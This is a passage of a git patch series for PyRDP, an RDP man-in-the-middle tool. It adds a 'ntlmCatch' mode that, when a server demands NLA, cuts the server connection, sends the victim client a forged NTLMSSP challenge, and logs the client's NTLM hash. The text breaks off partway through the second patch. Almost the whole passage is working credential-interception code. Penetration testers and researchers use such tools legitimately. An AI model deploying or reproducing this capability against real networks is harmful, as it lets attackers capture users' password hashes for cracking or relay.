From 656bddeae909166d93f471a2ae1ba805feae9f0d Mon Sep 17 00:00:00 2001 From: lubiedo Date: Tue, 26 Oct 2021 15:59:36 -0600 Subject: [PATCH 01/24] Catch NTLM hash if non-SSP authentication --- pyrdp/enum/__init__.py | 2 +- pyrdp/enum/ntlmssp.py | 23 ++++++- pyrdp/mitm/RDPMITM.py | 23 ++++--- pyrdp/mitm/X224MITM.py | 36 ++++++----- pyrdp/mitm/state.py | 3 + pyrdp/pdu/rdp/ntlmssp.py | 131 +++++++++++++++++++++++++++++++++++++-- pyrdp/security/nla.py | 30 +++++++-- 7 files changed, 215 insertions(+), 33 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 5d0be4092..f02835c92 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -9,7 +9,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType -from pyrdp.enum.ntlmssp import NTLMSSPMessageType +from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * from pyrdp.enum.orders import DrawingOrderControlFlags diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index 9246fca13..a412dc33a 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -6,8 +6,29 @@ from enum import IntEnum - class NTLMSSPMessageType(IntEnum): NEGOTIATE_MESSAGE = 1 CHALLENGE_MESSAGE = 2 AUTHENTICATE_MESSAGE = 3 + +# +class NTLMSSPChallengeType(IntEnum): + PARSER_ASN_TAG = 0xA0 + PARSER_ASN_ID = 0xA1 + STATUS_ASN_ID = 0xA0 + CREDSSP_VERSION = 0x05 + SEQUENCE_HEADER = 0x04 + # Negotiate Flags + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832 + NEGOTIATE_FLAGS = 0xE28A8215 + NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_HIGH = 0x05 + NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_LOW = 0x02 + NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_BUILT = 0x0ECE + NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_RESERVED = 0x000000 + NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_NTLM_TYPE = 0x0F + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 diff --git a/pyrdp/mitm/RDPMITM.py b/pyrdp/mitm/RDPMITM.py index 04ec699bc..0b861bc01 100644 --- a/pyrdp/mitm/RDPMITM.py +++ b/pyrdp/mitm/RDPMITM.py @@ -218,10 +218,11 @@ async def connectToServer(self): self.log.error("Failed to connect to recording host: timeout expired") def doClientTls(self): - cert = self.server.tcp.transport.getPeerCertificate() - if not cert: - # Wait for server certificate - reactor.callLater(1, self.doClientTls) + if not self.state.ntlmCatch: + cert = self.server.tcp.transport.getPeerCertificate() + if not cert: + # Wait for server certificate + reactor.callLater(1, self.doClientTls) # Clone certificate if necessary. if self.certs: @@ -238,8 +239,11 @@ def doClientTls(self): # Add unknown packet handlers. ntlmSSPState = NTLMSSPState() - self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) - self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) + if self.state.ntlmCatch: + self.client.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"), True)) + else: + self.client.segmentation.addObserver(NLAHandler(self.server.tcp, ntlmSSPState, self.getLog("ntlmssp"))) + self.server.segmentation.addObserver(NLAHandler(self.client.tcp, ntlmSSPState, self.getLog("ntlmssp"))) def startTLS(self, onTlsReady: typing.Callable[[], None]): """ @@ -248,8 +252,9 @@ def startTLS(self, onTlsReady: typing.Callable[[], None]): self.onTlsReady = onTlsReady # Establish TLS tunnel with target server... - contextForServer = ClientTLSContext() - self.server.tcp.startTLS(contextForServer) + if not self.state.ntlmCatch: + contextForServer = ClientTLSContext() + self.server.tcp.startTLS(contextForServer) # Establish TLS tunnel with client. reactor.callLater(1, self.doClientTls) @@ -470,4 +475,4 @@ def addClientIpToLoggers(self, clientIp: str): self.slowPath.log.extra['clientIp'] = self.state.clientIp if self.certs: - self.certs.log.extra['clientIp'] = self.state.clientIp \ No newline at end of file + self.certs.log.extra['clientIp'] = self.state.clientIp diff --git a/pyrdp/mitm/X224MITM.py b/pyrdp/mitm/X224MITM.py index c42f53ce9..55d2dfbaa 100644 --- a/pyrdp/mitm/X224MITM.py +++ b/pyrdp/mitm/X224MITM.py @@ -8,7 +8,7 @@ from logging import LoggerAdapter from pyrdp.core import defer -from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags +from pyrdp.enum import NegotiationFailureCode, NegotiationType, NegotiationRequestFlags, NegotiationProtocols from pyrdp.layer import X224Layer from pyrdp.mitm.state import RDPMITMState from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser @@ -117,19 +117,27 @@ def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): parser = NegotiationResponseParser() response = parser.parse(pdu.payload) if isinstance(response, NegotiationFailurePDU): - if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER and self.state.canRedirect(): - self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", { - "redirectionHost": self.state.config.redirectionHost, - "redirectionPort": self.state.config.redirectionPort - }) - - # Disconnect from current server - self.disconnector() - - # Use redirection host and replay sequence starting from the connection request - self.state.useRedirectionHost() - self.onConnectionRequest(self.originalConnectionRequest) - return + if response.failureCode == NegotiationFailureCode.HYBRID_REQUIRED_BY_SERVER: + if self.state.canRedirect(): + self.log.info("The server forces the use of NLA. Using redirection host: %(redirectionHost)s:%(redirectionPort)d", { + "redirectionHost": self.state.config.redirectionHost, + "redirectionPort": self.state.config.redirectionPort + }) + + # Disconnect from current server + self.disconnector() + + # Use redirection host and replay sequence starting from the connection request + self.state.useRedirectionHost() + self.onConnectionRequest(self.originalConnectionRequest) + return + else: + # Respond with a RDP negotiation answer to proceed and catch NTLM + self.log.info("Server requires CredSSP. Closing connection with server and attempting to catch NTML hashes.") + payload = parser.write(NegotiationResponsePDU(NegotiationType.TYPE_RDP_NEG_RSP, 0x00, NegotiationProtocols.CRED_SSP)) + self.state.ntlmCatch = True + + self.disconnector() else: self.log.info("The server failed the negotiation. Error: %(error)s", {"error": NegotiationFailureCode.getMessage(response.failureCode)}) payload = pdu.payload diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 07190d35d..6ae6b10a5 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -87,6 +87,9 @@ def __init__(self, config: MITMConfig, sessionID: str): self.effectiveTargetPort = self.config.targetPort """Port for the effective host""" + self.ntlmCatch = False + """Hijack connection from server and catch NTML hash""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 4d89c53b0..47392909f 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -4,26 +4,149 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import NTLMSSPMessageType +from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType from pyrdp.pdu.pdu import PDU - class NTLMSSPPDU(PDU): def __init__(self, messageType: NTLMSSPMessageType): super().__init__() self.messageType = messageType - class NTLMSSPNegotiatePDU(NTLMSSPPDU): def __init__(self): super().__init__(NTLMSSPMessageType.NEGOTIATE_MESSAGE) - class NTLMSSPChallengePDU(NTLMSSPPDU): def __init__(self, serverChallenge: bytes): super().__init__(NTLMSSPMessageType.CHALLENGE_MESSAGE) + NULL = '\x00' + workstationName = 'WINNT'.encode('utf-16le').decode('latin-1') # default Workstation Name to be used during challenge + self.serverChallenge = serverChallenge + self.fields = {} + self.fields['packetStartASN'] = '\x30' + self.fields['packetStartASNLenOfLen'] = '\x81' + self.fields['packetStartASNStr'] = NULL + self.fields['packetStartASNTag0'] = NTLMSSPChallengeType.PARSER_ASN_TAG.to_bytes(1,'little').decode('latin-1') + self.fields['packetStartASNTag0Len'] = '\x03' + self.fields['packetStartASNTag0Len2'] = '\x02' + self.fields['packetStartASNTag0Len3'] = '\x01' + self.fields['packetStartASNTag0CredSSPVersion'] = NTLMSSPChallengeType.CREDSSP_VERSION.to_bytes(1,'little').decode('latin-1') + self.fields['parserHeadASNID1'] = NTLMSSPChallengeType.PARSER_ASN_ID.to_bytes(1,'little').decode('latin-1') + self.fields['parserHeadASNLenOfLen1'] = '\x81' + self.fields['parserHeadASNLen1'] = NULL + self.fields['messageIDASNID'] = '\x30' + self.fields['messageIDASNLen'] = '\x81' + self.fields['messageIDASNLen2'] = NULL + self.fields['opHeadASNID'] = '\x30' + self.fields['opHeadASNIDLenOfLen'] = '\x81' + self.fields['opHeadASNIDLen'] = NULL + self.fields['statusASNID'] = NTLMSSPChallengeType.STATUS_ASN_ID.to_bytes(1,'little').decode('latin-1') + self.fields['matchedDN'] = '\x81' + self.fields['asnLen01'] = NULL + self.fields['sequenceHeader'] = NTLMSSPChallengeType.SEQUENCE_HEADER.to_bytes(1,'little').decode('latin-1') + self.fields['sequenceHeaderLenOfLen'] = '\x81' + self.fields['sequenceHeaderLen'] = NULL + self.fields['signature'] = 'NTLMSSP' + NULL + self.fields['messageType'] = self.messageType.to_bytes(4,'little').decode('latin-1') + self.fields['workstationLen'] = NULL * 2 + self.fields['workstationMaxLen'] = NULL * 2 + self.fields['workstationBuffOffset'] = NULL * 4 + self.fields['negotiateFlags'] = NTLMSSPChallengeType.NEGOTIATE_FLAGS.to_bytes(4,'little').decode('latin-1') + self.fields['serverChallenge'] = serverChallenge.decode('latin-1') + self.fields['reserved'] = NULL * 8 + self.fields['targetInfoLen'] = NULL * 2 + self.fields['targetInfoMaxLen'] = NULL * 2 + self.fields['targetInfoBuffOffset'] = NULL * 4 + self.fields['negTokenInitSeqMechMessageVersionHigh'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_HIGH.to_bytes(1,'little').decode('latin-1') + self.fields['negTokenInitSeqMechMessageVersionLow'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_LOW.to_bytes(1,'little').decode('latin-1') + self.fields['negTokenInitSeqMechMessageVersionBuilt'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_BUILT.to_bytes(2,'little').decode('latin-1') + self.fields['negTokenInitSeqMechMessageVersionReserved'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_RESERVED.to_bytes(3,'little').decode('latin-1') + self.fields['negTokenInitSeqMechMessageVersionNTLMType'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_NTLM_TYPE.to_bytes(1,'little').decode('latin-1') + self.fields['workstationName'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairsId'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairsLen'] = NULL * 2 + self.fields['ntlmsspNTLMChallengeAVPairsUnicodeStr'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairs1Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairs1Len'] = NULL * 2 + self.fields['ntlmsspNTLMChallengeAVPairs1UnicodeStr'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairs2Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairs2Len'] = NULL * 2 + self.fields['ntlmsspNTLMChallengeAVPairs2UnicodeStr'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairs3Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairs3Len'] = NULL * 2 + self.fields['ntlmsspNTLMChallengeAVPairs3UnicodeStr'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairs5Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairs5Len'] = NULL * 2 + self.fields['ntlmsspNTLMChallengeAVPairs5UnicodeStr'] = workstationName + self.fields['ntlmsspNTLMChallengeAVPairs6Id'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID.to_bytes(2,'little').decode('latin-1') + self.fields['ntlmsspNTLMChallengeAVPairs6Len'] = NULL * 2 + + calculateOffsetWorkstation = self.fields['signature'] + \ + self.fields['messageType'] + \ + self.fields["workstationLen"] + \ + self.fields["workstationMaxLen"] + \ + self.fields["workstationBuffOffset"] + \ + self.fields["negotiateFlags"] + \ + self.fields["serverChallenge"] + \ + self.fields["reserved"] + \ + self.fields["targetInfoLen"] + \ + self.fields["targetInfoMaxLen"] + \ + self.fields["targetInfoBuffOffset"] + \ + self.fields["negTokenInitSeqMechMessageVersionHigh"] + \ + self.fields["negTokenInitSeqMechMessageVersionLow"] + \ + self.fields["negTokenInitSeqMechMessageVersionBuilt"] + \ + self.fields["negTokenInitSeqMechMessageVersionReserved"] + \ + self.fields["negTokenInitSeqMechMessageVersionNTLMType"] + calculateLenAvpairs = self.fields["ntlmsspNTLMChallengeAVPairsId"] + \ + self.fields["ntlmsspNTLMChallengeAVPairsLen"] + \ + self.fields["ntlmsspNTLMChallengeAVPairsUnicodeStr"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs1Id"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs1Len"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs1UnicodeStr"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs2Id"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs2Len"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs2UnicodeStr"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs3Id"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs3Len"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs3UnicodeStr"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs5Id"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs5Len"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs5UnicodeStr"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs6Id"] + \ + self.fields["ntlmsspNTLMChallengeAVPairs6Len"] + + # Length and offset calculation + NTLMMessageLen = calculateOffsetWorkstation + workstationName + calculateLenAvpairs + self.fields["sequenceHeaderLen"] = len(NTLMMessageLen).to_bytes(1,'big') + self.fields["asnLen01"] = (len(NTLMMessageLen) + 3).to_bytes(1,'big') + self.fields["opHeadASNIDLen"] = (len(NTLMMessageLen) + 6).to_bytes(1,'big') + self.fields["messageIDASNLen2"] = (len(NTLMMessageLen) + 9).to_bytes(1,'big') + self.fields["parserHeadASNLen1"] = (len(NTLMMessageLen) + 12).to_bytes(1,'big') + self.fields["packetStartASNStr"] = (len(NTLMMessageLen) + 20).to_bytes(1,'big') + + self.fields["workstationBuffOffset"]= len(calculateOffsetWorkstation).to_bytes(4,'little') + self.fields["workstationLen"] = len(workstationName).to_bytes(2,'little') + self.fields["workstationMaxLen"] = len(workstationName).to_bytes(2,'little') + + self.fields["targetInfoLen"] = len(calculateLenAvpairs).to_bytes(2,'little') + self.fields["targetInfoMaxLen"] = len(calculateLenAvpairs).to_bytes(2,'little') + self.fields["targetInfoBuffOffset"] = len(calculateOffsetWorkstation + workstationName).to_bytes(4,'little') + + self.fields["ntlmsspNTLMChallengeAVPairs5Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs5UnicodeStr"]).to_bytes(2,'little') + self.fields["ntlmsspNTLMChallengeAVPairs3Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs3UnicodeStr"]).to_bytes(2,'little') + self.fields["ntlmsspNTLMChallengeAVPairs2Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs2UnicodeStr"]).to_bytes(2,'little') + self.fields["ntlmsspNTLMChallengeAVPairs1Len"] = len(self.fields["ntlmsspNTLMChallengeAVPairs1UnicodeStr"]).to_bytes(2,'little') + self.fields["ntlmsspNTLMChallengeAVPairsLen"] = len(self.fields["ntlmsspNTLMChallengeAVPairsUnicodeStr"]).to_bytes(2,'little') + def __bytes__(self): + data = bytes() + for _,v in self.fields.items(): + b = v + if type(b) == str: + b = b.encode('latin-1') + data += b + return data class NTLMSSPAuthenticatePDU(NTLMSSPPDU): def __init__(self, user: str, domain: str, proof: bytes, response: bytes): diff --git a/pyrdp/security/nla.py b/pyrdp/security/nla.py index e636f2b64..c2dac4aef 100644 --- a/pyrdp/security/nla.py +++ b/pyrdp/security/nla.py @@ -5,13 +5,15 @@ # import logging +from codecs import decode +from random import getrandbits from pyrdp.enum import NTLMSSPMessageType from pyrdp.layer import SegmentationObserver, IntermediateLayer from pyrdp.logging import LOGGER_NAMES from pyrdp.logging.formatters import NTLMSSPHashFormatter from pyrdp.parser import NTLMSSPParser -from pyrdp.pdu import NTLMSSPPDU, NTLMSSPAuthenticatePDU +from pyrdp.pdu import NTLMSSPPDU, NTLMSSPNegotiatePDU, NTLMSSPChallengePDU, NTLMSSPAuthenticatePDU from pyrdp.security import NTLMSSPState @@ -22,7 +24,7 @@ class NLAHandler(SegmentationObserver): This also logs the hash of NLA connection attempts. """ - def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter): + def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.LoggerAdapter, ntlmCatch: bool = False): """ Create a new NLA Handler. sink: layer to forward packets to. @@ -33,15 +35,35 @@ def __init__(self, sink: IntermediateLayer, state: NTLMSSPState, log: logging.Lo self.sink = sink self.ntlmSSPState = state self.log = log + self.catch = ntlmCatch self.ntlmSSPParser = NTLMSSPParser() + def getRandChallenge(self): + """ + Generate a random 32-bit challenge + """ + challenge = b'%016x' % getrandbits(16 * 4) + return decode(challenge, 'hex') + def onUnknownHeader(self, header, data: bytes): messageOffset = self.ntlmSSPParser.findMessage(data) if messageOffset != -1: - message: NTLMSSPPDU = self.ntlmSSPParser.parse(data[messageOffset :]) + message: NTLMSSPPDU = self.ntlmSSPParser.parse(data[messageOffset:]) self.ntlmSSPState.setMessage(message) + if message.messageType == NTLMSSPMessageType.NEGOTIATE_MESSAGE and self.catch: + randomChallenge = self.getRandChallenge() + self.log.info("NTLMSSP Negotiation") + challenge: NTLMSSPChallengePDU = NTLMSSPChallengePDU(randomChallenge) + + # There might be no state if server side connection was shutdown + if not self.ntlmSSPState: + self.ntlmSSPState = NTLMSSPState() + self.ntlmSSPState.setMessage(challenge) + self.ntlmSSPState.challenge.serverChallenge = randomChallenge + data = bytes(challenge) + if message.messageType == NTLMSSPMessageType.AUTHENTICATE_MESSAGE: message: NTLMSSPAuthenticatePDU user = message.user @@ -57,4 +79,4 @@ def onUnknownHeader(self, header, data: bytes): "ntlmSSPHash": (ntlmSSPHash) }) - self.sink.sendBytes(data) \ No newline at end of file + self.sink.sendBytes(data) From f7a1de90a432b51a94154857f188875b8d8bb8b4 Mon Sep 17 00:00:00 2001 From: lubiedo Date: Mon, 1 Nov 2021 14:02:58 -0600 Subject: [PATCH 02/24] Better code reorganization --- pyrdp/enum/__init__.py | 2 +- pyrdp/enum/ntlmssp.py | 47 +++++---- pyrdp/pdu/rdp/ntlmssp.py | 208 ++++++++++++++++----------------------- pyrdp/security/nla.py | 6 +- 4 files changed, 119 insertions(+), 144 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index f02835c92..99aaebf6e 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -9,7 +9,7 @@ from pyrdp.enum.gcc import GCCPDUType from pyrdp.enum.mcs import MCSChannelID, MCSChannelName, MCSPDUType, MCSResult from pyrdp.enum.negotiation import NegotiationRequestFlags, NegotiationType -from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType +from pyrdp.enum.ntlmssp import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion from pyrdp.enum.player import MouseButton, PlayerPDUType from pyrdp.enum.rdp import * from pyrdp.enum.orders import DrawingOrderControlFlags diff --git a/pyrdp/enum/ntlmssp.py b/pyrdp/enum/ntlmssp.py index a412dc33a..ea428e53d 100644 --- a/pyrdp/enum/ntlmssp.py +++ b/pyrdp/enum/ntlmssp.py @@ -11,24 +11,35 @@ class NTLMSSPMessageType(IntEnum): CHALLENGE_MESSAGE = 2 AUTHENTICATE_MESSAGE = 3 -# class NTLMSSPChallengeType(IntEnum): - PARSER_ASN_TAG = 0xA0 - PARSER_ASN_ID = 0xA1 - STATUS_ASN_ID = 0xA0 - CREDSSP_VERSION = 0x05 - SEQUENCE_HEADER = 0x04 - # Negotiate Flags + NTLMSSP_START_OFFSET = 0x17 + WORKSTATION_BUFFER_OFFSET = NTLMSSP_START_OFFSET + 0x38 + + # http://davenport.sourceforge.net/ntlm.html#theNtlmFlags # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/99d90ff4-957f-4c8a-80e4-5bfe5a9a9832 + # Flags: ( + # NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_SIGN | NTLMSSP_NEGOTIATE_NTLM | + # NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_TARGET_TYPE_SERVER | NTLMSSP_NEGOTIATE_LM_KEY | + # NTLMSSP_NEGOTIATE_TARGET_INFO | r | NTLMSSP_NEGOTIATE_128 | + # NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56 + # ) NEGOTIATE_FLAGS = 0xE28A8215 - NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_HIGH = 0x05 - NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_LOW = 0x02 - NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_BUILT = 0x0ECE - NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_RESERVED = 0x000000 - NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_NTLM_TYPE = 0x0F - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 - NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 + + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID = 0x0002 # MsvAvNbDomainName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS1_ID = 0x0001 # MsvAvNbComputerName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS2_ID = 0x0004 # MsvAvDnsDomainName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS3_ID = 0x0003 # MsvAvDnsComputerName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS5_ID = 0x0005 # MsvAvDnsTreeName + NTLMSSP_NTLM_CHALLENGE_AV_PAIRS6_ID = 0x0000 # MsvAvEOL + + +class NTLMSSPChallengeVersion(IntEnum): + CREDSSP_VERSION = 0x05 + + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b1a6ceb2-f8ad-462b-b5af-f18527c48175 + NEG_PROD_MAJOR_VERSION_HIGH = 0x05 + NEG_PROD_MINOR_VERSION_LOW = 0x02 + NEG_PROD_VERSION_BUILT = 0x0ECE + NEG_NTLM_REVISION_CURRENT = 0x0F # NTLMSSP_REVISION_W2K3 + diff --git a/pyrdp/pdu/rdp/ntlmssp.py b/pyrdp/pdu/rdp/ntlmssp.py index 47392909f..1b1c05b9e 100644 --- a/pyrdp/pdu/rdp/ntlmssp.py +++ b/pyrdp/pdu/rdp/ntlmssp.py @@ -4,7 +4,11 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType +from io import BytesIO + +from pyrdp.core import ber +from pyrdp.core.packing import Uint8, Uint16LE, Uint32LE, Uint64LE +from pyrdp.enum import NTLMSSPMessageType, NTLMSSPChallengeType, NTLMSSPChallengeVersion from pyrdp.pdu.pdu import PDU class NTLMSSPPDU(PDU): @@ -19,134 +23,94 @@ def __init__(self): class NTLMSSPChallengePDU(NTLMSSPPDU): def __init__(self, serverChallenge: bytes): super().__init__(NTLMSSPMessageType.CHALLENGE_MESSAGE) - NULL = '\x00' - workstationName = 'WINNT'.encode('utf-16le').decode('latin-1') # default Workstation Name to be used during challenge - self.serverChallenge = serverChallenge - self.fields = {} - self.fields['packetStartASN'] = '\x30' - self.fields['packetStartASNLenOfLen'] = '\x81' - self.fields['packetStartASNStr'] = NULL - self.fields['packetStartASNTag0'] = NTLMSSPChallengeType.PARSER_ASN_TAG.to_bytes(1,'little').decode('latin-1') - self.fields['packetStartASNTag0Len'] = '\x03' - self.fields['packetStartASNTag0Len2'] = '\x02' - self.fields['packetStartASNTag0Len3'] = '\x01' - self.fields['packetStartASNTag0CredSSPVersion'] = NTLMSSPChallengeType.CREDSSP_VERSION.to_bytes(1,'little').decode('latin-1') - self.fields['parserHeadASNID1'] = NTLMSSPChallengeType.PARSER_ASN_ID.to_bytes(1,'little').decode('latin-1') - self.fields['parserHeadASNLenOfLen1'] = '\x81' - self.fields['parserHeadASNLen1'] = NULL - self.fields['messageIDASNID'] = '\x30' - self.fields['messageIDASNLen'] = '\x81' - self.fields['messageIDASNLen2'] = NULL - self.fields['opHeadASNID'] = '\x30' - self.fields['opHeadASNIDLenOfLen'] = '\x81' - self.fields['opHeadASNIDLen'] = NULL - self.fields['statusASNID'] = NTLMSSPChallengeType.STATUS_ASN_ID.to_bytes(1,'little').decode('latin-1') - self.fields['matchedDN'] = '\x81' - self.fields['asnLen01'] = NULL - self.fields['sequenceHeader'] = NTLMSSPChallengeType.SEQUENCE_HEADER.to_bytes(1,'little').decode('latin-1') - self.fields['sequenceHeaderLenOfLen'] = '\x81' - self.fields['sequenceHeaderLen'] = NULL - self.fields['signature'] = 'NTLMSSP' + NULL - self.fields['messageType'] = self.messageType.to_bytes(4,'little').decode('latin-1') - self.fields['workstationLen'] = NULL * 2 - self.fields['workstationMaxLen'] = NULL * 2 - self.fields['workstationBuffOffset'] = NULL * 4 - self.fields['negotiateFlags'] = NTLMSSPChallengeType.NEGOTIATE_FLAGS.to_bytes(4,'little').decode('latin-1') - self.fields['serverChallenge'] = serverChallenge.decode('latin-1') - self.fields['reserved'] = NULL * 8 - self.fields['targetInfoLen'] = NULL * 2 - self.fields['targetInfoMaxLen'] = NULL * 2 - self.fields['targetInfoBuffOffset'] = NULL * 4 - self.fields['negTokenInitSeqMechMessageVersionHigh'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_HIGH.to_bytes(1,'little').decode('latin-1') - self.fields['negTokenInitSeqMechMessageVersionLow'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_LOW.to_bytes(1,'little').decode('latin-1') - self.fields['negTokenInitSeqMechMessageVersionBuilt'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_BUILT.to_bytes(2,'little').decode('latin-1') - self.fields['negTokenInitSeqMechMessageVersionReserved'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_RESERVED.to_bytes(3,'little').decode('latin-1') - self.fields['negTokenInitSeqMechMessageVersionNTLMType'] = NTLMSSPChallengeType.NEG_TOKEN_INIT_SEQ_MECH_MESSAGE_VERSION_NTLM_TYPE.to_bytes(1,'little').decode('latin-1') - self.fields['workstationName'] = workstationName - self.fields['ntlmsspNTLMChallengeAVPairsId'] = NTLMSSPChallengeType.NTLMSSP_NTLM_CHALLENGE_AV_PAIRS_ID.to_bytes(2,'little').decode('latin-1') - self.fields['ntlmsspNTLMChallengeAVPairsLen'] = NULL * 2 - 